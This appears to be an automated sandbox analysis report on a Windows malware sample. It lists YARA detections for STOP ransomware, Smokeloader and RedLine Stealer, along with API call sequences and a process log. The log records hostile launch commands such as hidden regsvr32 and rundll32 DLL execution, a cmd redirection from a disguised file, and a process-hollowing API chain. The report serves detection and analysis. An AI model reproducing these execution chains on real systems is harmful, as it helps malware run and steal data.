Source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001A.00000002.543248453.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001A.00000002.544007167.00000000009E8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.431811322.0000000000A78000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000002B.00000002.692013103.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000002B.00000002.708312204.0000000000AF8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.388959741.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.431428387.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Fabookie author = ditekSHen, description = Detects Fabookie / ElysiumStealer
Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: Process Memory Space: 6D2B.exe PID: 6660, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040DE10 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: String function: 02F70160 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: String function: 02F68EC0 appears 38 times
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: String function: 0040DE10 appears 31 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017E3 Sleep,NtTerminateProcess,	0_2_004017E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402351 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	0_2_00402351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402072 NtQuerySystemInformation,	0_2_00402072
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401807 Sleep,NtTerminateProcess,	0_2_00401807
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014DF NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017E2 Sleep,NtTerminateProcess,	0_2_004017E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017EE Sleep,NtTerminateProcess,	0_2_004017EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401EFD NtQuerySystemInformation,	0_2_00401EFD
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_004017E3 Sleep,NtTerminateProcess,	11_2_004017E3
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402351 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	11_2_00402351
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402072 NtQuerySystemInformation,	11_2_00402072
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00401807 Sleep,NtTerminateProcess,	11_2_00401807
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_004014DF NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_004014DF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_004017E2 Sleep,NtTerminateProcess,	11_2_004017E2
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_004017EE Sleep,NtTerminateProcess,	11_2_004017EE
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00401EFD NtQuerySystemInformation,	11_2_00401EFD
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F40110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	14_2_02F40110

Source: file.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: BFB7.exe.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: D4C7.exe.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: 42BA.exe.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: D510.exe.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: wtiivdw.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: viiivdw.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: C:\Users\user\AppData\Local\Temp\FC9E.exe

Process token adjusted: Load Driver

Source: C:\Users\user\AppData\Local\Temp\FC9E.exe

Process token adjusted: Security

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\viiivdw

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winEXE@62/31@23/21

Source: C:\Users\user\AppData\Local\Temp\ADFF.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\viiivdw C:\Users\user\AppData\Roaming\viiivdw
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6D2B.exe C:\Users\user\AppData\Local\Temp\6D2B.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\9602.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\9602.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\ADFF.exe C:\Users\user\AppData\Local\Temp\ADFF.exe
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process created: C:\Users\user\AppData\Local\Temp\ADFF.exe "C:\Users\user\AppData\Local\Temp\ADFF.exe" -h
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D510.exe C:\Users\user\AppData\Local\Temp\D510.exe
Source: unknown	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FC9E.exe C:\Users\user\AppData\Local\Temp\FC9E.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\FC9E.exe "C:\Users\user\AppData\Local\Temp\FC9E.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5449.exe C:\Users\user\AppData\Local\Temp\5449.exe
Source: C:\Users\user\AppData\Local\Temp\5449.exe	Process created: C:\Windows\SysWOW64\WerFault.exe WerFault.exe //////
Source: C:\Users\user\AppData\Local\Temp\5449.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c cmd < Orti.dotx & ping -n 5 localhost
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wtiivdw C:\Users\user\AppData\Roaming\wtiivdw
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6D2B.exe C:\Users\user\AppData\Local\Temp\6D2B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\9602.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\ADFF.exe C:\Users\user\AppData\Local\Temp\ADFF.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D510.exe C:\Users\user\AppData\Local\Temp\D510.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FC9E.exe C:\Users\user\AppData\Local\Temp\FC9E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5449.exe C:\Users\user\AppData\Local\Temp\5449.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
